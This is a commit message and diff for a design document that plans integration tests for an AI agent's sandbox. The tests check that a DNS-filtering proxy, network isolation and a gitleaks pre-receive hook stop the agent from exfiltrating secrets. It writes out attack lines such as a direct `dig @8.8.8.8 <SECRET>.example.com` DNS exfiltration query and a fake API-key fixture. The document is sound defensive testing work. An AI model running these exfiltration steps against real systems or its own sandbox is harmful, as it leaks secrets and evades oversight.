docs(prd-0022): resolve open Qs 2, 4, 5 (DNS, gitleaks order, CI)
User feedback:
- Q2 (direct DNS resolver test): yes — test 4 grows a
second sub-assertion verifying `dig @8.8.8.8` from the
agent has no path out, alongside the existing
crafted-subdomain check.
- Q4 (gitleaks ordering): test 5 grows an ordering check
— asserts the rejection mentions `gitleaks` AND does
NOT mention upstream-network-phase phrases (resolve /
refused / unreachable / upstream). Confirms gitleaks
rejects BEFORE git-gate tries any upstream push.
- Q5 (CI): try it, accept fallback. New chunk 6 adds a
Gitea Actions job marked `continue-on-error: true` —
runs the suite if the runner can host compose, doesn't
block the workflow if docker-in-docker prevents it.
Three open questions remain (1: pipelock's actual DLP
coverage for non-body shapes; 3: realistic fake secret
shape vs. gitleaks regex; 6+7: backend-agnostic invocation
+ required tools — for the smolmachines work).

## Resolved questions
|
||||
|
||||
2. **DNS exfil via the agent's direct DNS resolver.**
|
||||
Resolved: **add the assertion to test 4.** The
|
||||
`--internal` network has no default gateway, so a direct
|
||||
`dig @8.8.8.8 <SECRET>.example.com` from the agent
|
||||
should fail. Test 4 grows a second assertion: in
|
||||
addition to the crafted-subdomain-via-pipelock attempt
|
||||
(which pipelock's exact-match allowlist rejects), the
|
||||
agent's direct DNS query is also blocked. Both
|
||||
sub-assertions must pass for test 4 to be green.
|
||||
|
||||
4. **Reachability of throwaway git upstream + gitleaks
|
||||
ordering.** Resolved: **add ordering assertions to test 5.**
|
||||
The pre-receive hook MUST reject the push before
|
||||
git-gate ever attempts to forward to the (unreachable)
|
||||
upstream. Test 5 asserts:
|
||||
- `"gitleaks"` appears in the rejection output
|
||||
(gitleaks fired)
|
||||
- The rejection output does NOT contain phrases like
|
||||
`"could not resolve"`, `"connection refused"`,
|
||||
`"network is unreachable"`, or `"upstream"` — those
|
||||
would mean gitleaks let the push through and the
|
||||
failure happened later in the chain.
|
||||
The second assertion is the "ordering" check — if it
|
||||
fires, gitleaks ran AFTER the upstream attempt
|
||||
(sequence is wrong) or didn't run at all.
|
||||
|
||||
5. **CI vs. local-only.** Resolved: **attempt CI; accept
|
||||
local-only fallback if docker-in-docker blocks it.**
|
||||
The Gitea Actions runner ecosystem usually has Docker
|
||||
available to the workflow but not nested Docker
|
||||
compose inside a containerized runner. v1 tries: add a
|
||||
CI job that runs the suite against the Docker backend
|
||||
on a runner with Docker socket access. If the
|
||||
compose-up step fails because of DiD constraints, the
|
||||
job is marked `continue-on-error: true` and the suite
|
||||
stays local-only until we have a runner shape that can
|
||||
host it.

worse than fixing it. But for v1 of this test it's OK to
|

land with `expectedFailure` markers + tickets.
|
||||
|
||||
2. **DNS exfil via the agent's direct DNS resolver.** Today
|
||||
the agent's `--internal` network has no default gateway,
|
||||
so direct DNS queries to 8.8.8.8 fail. The crafted-
|
||||
hostname attack rides on pipelock's resolution, which is
|
||||
what test 4 covers. Should we ALSO test that direct DNS
|
||||
(e.g., `dig @8.8.8.8 secret.example.com`) is blocked?
|
||||
Probably yes — adds one assertion to test 4 and confirms
|
||||
the network isolation is intact.
|
||||
|
||||
3. **Realistic fake secret.** `sk-ant-api03-...` shape is
|
||||
what gitleaks's anthropic-api-key rule matches. Verify
|
||||
the exact regex before settling on the fixture value;
|
||||
wrong-shape secret would mean attack 5 silently passes
|
||||
the wrong way (gitleaks doesn't fire, README ships).
|
||||
|
||||
4. **Reachability of throwaway git upstream.** Pointing at
|
||||
`ssh://git@127.0.0.1:22/throwaway.git` means git-gate
|
||||
would try (and fail) to push to upstream after gitleaks
|
||||
passes. We want gitleaks to REJECT before any upstream
|
||||
attempt — so the push always fails at gitleaks, never
|
||||
later. Confirm this ordering in git-gate's pre-receive
|
||||
sequence.
|
||||
|
||||
5. **CI vs. local-only.** The integration test takes ~15s
|
||||
(compose-up + 5 attacks + teardown). Running it on every
|
||||
PR pays for itself the first time it catches a sandbox
|
||||
regression but slows the green-tick feedback for unrelated
|
||||
PRs. v1 ships as a local-only test; CI integration is a
|
||||
follow-up that decides whether to gate merges on it.
|
||||
|
||||
6. **Backend-agnostic invocation.** The suite reads
|
||||
`CLAUDE_BOTTLE_BACKEND` so it runs against whatever
|
||||
backend is active. For the smolmachines spike, the
